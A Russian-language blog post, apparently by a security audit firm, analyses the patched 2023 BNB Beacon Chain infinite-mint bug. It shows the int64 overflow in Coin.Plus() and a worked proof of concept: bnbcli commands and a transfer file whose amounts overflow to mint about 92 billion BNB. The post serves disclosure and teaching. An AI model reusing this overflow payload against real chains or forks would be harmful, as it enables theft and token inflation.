Блог

Анализ уязвимости цепочки BNB: Бесконечный минтинг

8 февраля 2023 компания Jump Crypto сообщила команде BNB об уязвимости, которая могла позволить злоумышленникам майнить неограниченное количество токенов. Серьезность этой уязвимости побудила команду BNB оперативно исправить ее в течение 24 часов после получения сообщения. К счастью, уязвимость не была использована, и финансовые потери не были понесены. В противном случае масштабы атаки могли бы оказаться неисчислимыми.

Что такое уязвимость бесконечного майнинга

Уязвимость бесконечного майнинга - это тип уязвимости в криптовалютной системе, используя которую злоумышленник может намайнить неограниченное количество токенов, что позволит ему получить несанкционированный доступ к криптовалюте и потенциально нанести финансовые убытки. Эта уязвимость обычно связана с ошибками в разработке или реализации смарт-контрактов, такими как числовое переполнение, ошибки типа данных, логические ошибки и так далее.

Анализ уязвимостей

Цепочка BNB состоит из двух блокчейнов. Одна из них - EVM-совместимая смарт-цепочка на базе go-ethereum (BSC), а другая - маячковая цепочка (BC), построенная на Tendermint и Cosmos SDK, в которой и возникла данная уязвимость.

Цепочка маячков BNB не использует upstream-версию Cosmos SDK, а использует форк BNB, размещенный на GitHub. Некоторые изменения, основанные на BNB, в версии форка привели к тому, что она в нескольких местах отклоняется от восходящей версии Cosmos SDK.

Cosmos SDK использует тип данных под названием Coin для работы с данными об активах. В монетах хранится определенное количество конкретной валюты. В форке BNB Cosmos используется следующее определение:
/ Coin hold some amount of one currency
type Coin struct {
 Denom  string `json:"denom"`
 Amount int64  `json:"amount"`
}
Стоит отметить, что "Amount" имеет тип int64, который включает отрицательные числа. В оригинальном языке Go это могло бы тихо привести к переполнению или недополнению. Разница между форком BNB и восходящей версией Cosmos SDK заключается в том, что восходящая версия использует безопасную обертку bigInt вместо int64, чтобы защитить приложение от случайного переполнения или недополнения.

Jump Crypto также отметила, что команда BNB заявила, что решила использовать примитивный тип, чтобы улучшить производительность DEX на цепочке маяков, и постаралась устранить различные проблемы, которые могли бы привести к переполнению. Однако эта уязвимость все равно осталась незамеченной, и команда упорно работает над внедрением безопасных оберток в свой репозиторий кода.

Ниже приведен пример MsgSend, принадлежащего к стандартному типу модуля x/bank:
//https://github.com/bnb-chain/bnc-cosmos-sdk/blob/6979480679f6c4980aa5a5ac11ce874f54f2a927/x/bank/msgs.go
// MsgSend - high level transaction of the coin module
type MsgSend struct {
Inputs  []Input  `json:"inputs"`
Outputs []Output `json:"outputs"`
}


// Transaction Input
type Input struct {
Address sdk.AccAddress `json:"address"`
Coins   sdk.Coins      `json:"coins"`
}


// Transaction Output
type Output struct {
Address sdk.AccAddress `json:"address"`
Coins   sdk.Coins      `json:"coins"`
}


// Coins is a set of Coin, one per currency
type Coins []Coin

MsgSend обычно используется для перевода токенов между двумя счетами. Массив Inputs состоит из списка адресов отправителей и активов, которые они хотят перевести, а массив Outputs содержит адреса получателей и активы, которые они должны получить.

Для предотвращения кражи средств или злонамеренного майнинга процедура обработки MsgSend выполняет несколько проверок. Суммы в массивах Inputs и Outputs должны быть положительными, чтобы их нельзя было использовать для кражи чужих средств.
// ValidateBasic - validate transaction input
func (in Input) ValidateBasic() sdk.Error {
if len(in.Address) != sdk.AddrLen {
 return sdk.ErrInvalidAddress(in.Address.String())
}
if !in.Coins.IsValid() {
 return sdk.ErrInvalidCoins(in.Coins.String())
}
if !in.Coins.IsPositive() {
 return sdk.ErrInvalidCoins(in.Coins.String())
}
return nil
}

// ValidateBasic - validate transaction output
func (out Output) ValidateBasic() sdk.Error {
if len(out.Address) != sdk.AddrLen {
 return sdk.ErrInvalidAddress(out.Address.String())
}
if !out.Coins.IsValid() {
 return sdk.ErrInvalidCoins(out.Coins.String())
}
if !out.Coins.IsPositive() {
 return sdk.ErrInvalidCoins(out.Coins.String())
}
return nil
}
И наконец, количество жетонов во входах должно быть равно количеству жетонов в выходах.
// Implements Msg.
func (msg MsgSend) ValidateBasic() sdk.Error {
[..]
// make sure all inputs and outputs are individually valid
var totalIn, totalOut sdk.Coins
for _, in := range msg.Inputs {
 if err := in.ValidateBasic(); err != nil {
  return err.TraceSDK("")
 }
 totalIn = totalIn.Plus(in.Coins) // (A)
}
for _, out := range msg.Outputs {
 if err := out.ValidateBasic(); err != nil {
  return err.TraceSDK("")
 }
 totalOut = totalOut.Plus(out.Coins) // (B)
}
// make sure inputs and outputs match
if !totalIn.IsEqual(totalOut) {
 return sdk.ErrInvalidCoins(totalIn.String()).TraceSDK("inputs and outputs don't match")
}
return nil
}
Код проходит по массиву Inputs и суммирует все массивы Coins в переменной totalIn. Затем он выполняет ту же операцию над массивом Outputs и сохраняет результат в totalOut. Проверка проходит успешно только в том случае, если обе суммы равны. Для простейшего случая с одной валютой мы вызываем метод Plus() для суммирования (A) и (B), как показано ниже:
// Adds amounts of two coins with same denom
func (coin Coin) Plus(coinB Coin) Coin {
if !coin.SameDenomAs(coinB) {
 return coin
}
return Coin{coin.Denom, coin.Amount + coinB.Amount}
}
Этот метод складывает две суммы без проверки на потенциальное переполнение. Это позволяет totalIn == totalOut пройти проверку, вызвав целочисленное переполнение в вычислениях, что позволяет обойти проверку totalOut.

Ниже приведен пример того, как эта проблема может быть использована для "добычи" практически неограниченного количества токенов BNB с помощью вредоносного перевода: Сложение трех полей суммы вывода приведет к значению 0x100000000000000000001, которое слишком велико, чтобы поместиться в 64-битную переменную, и переполняется до 1. Это означает, что целевой счет может получить больше токенов BNB, чем предоставил отправитель:
$ # Sender Account
$ bnbcli account bnb1sdg96khysz899gjhucmep6as8zh6zam4u6j6c3 --chain-id=${chainId} | jq ".value.base.coins"
[
 { // dev0
   "denom": "BNB",
   "amount": "100000060"
 }
]
$ # Destination Account does not exist yet
$ bnbcli account bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp --chain-id=${chainId} | jq ".value.base.coins"
ERROR: No account with address bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp was found in the state.
$ # Transfer details to trigger the overflow
$ cat transfer.json
[
  {
     "to":"bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp",
     "amount":"9223372036854775000:BNB"
  },
  {
     "to":"bnb1a8p35jlfzz7td4tljcrpfw3gv9z48ady6l248d",
     "amount":"9223372036854775000:BNB"
  },
  {
   "to":"bnb1dl0x933432der5rnafk4037dwtk8rzmh59jv2h",
   "amount": "1617:BNB" }
]
$ # Send the transfer
$ bnbcli token multi-send --chain-id=${chainId} --from dev0 --transfers-file transfer.json
Password to sign with 'dev0':
Committed at block 17449

$ # Destination account now has ~92 billion BNB tokens
$ bnbcli account bnb15q940mktrr5s77x2n0hyc0l7yfu55sk6uugfrp --chain-id=${chainId} | jq ".value.base.coins"
[
 {
   "denom": "BNB",
   "amount": "9223372036854775000"
 }
]
После того как Jump Crypto сообщила об уязвимости, команда BNB оперативно устранила ее. Переключение типа sdk.Coin на метод алгоритма с защитой от переполнения устранило проблему. После исправления переполнение при вычислении Coin приводило к панике golang и сбою транзакции.

Основатель Binance CZ и главный научный сотрудник BNB V также поблагодарили Jump Crypto за бескорыстное сообщение об уязвимости в твиттере 10 числа.

Заключение

Этот инцидент не был уязвимостью смарт-контракта, а скорее недостатком дизайна публичной цепи BNB. Для публичных сетей, особенно с большой базой пользователей, как у сети BNB, уязвимость в бесконечной добыче токенов - это фатальный недостаток, который может разрушить экономику сети.

Для компаний смарт-контракт - это переменная, которую команды могут контролировать во время разработки проекта. После развертывания в цепочке он не может быть изменен! Поэтому важно проводить стресс-тесты и аудит безопасности смарт-контрактов до их развертывания, чтобы избежать значительных финансовых потерь.

Если вы ищете профессионального аудитора, обращайтесь к нашим техническим специалистам.
Блокчейн и NFT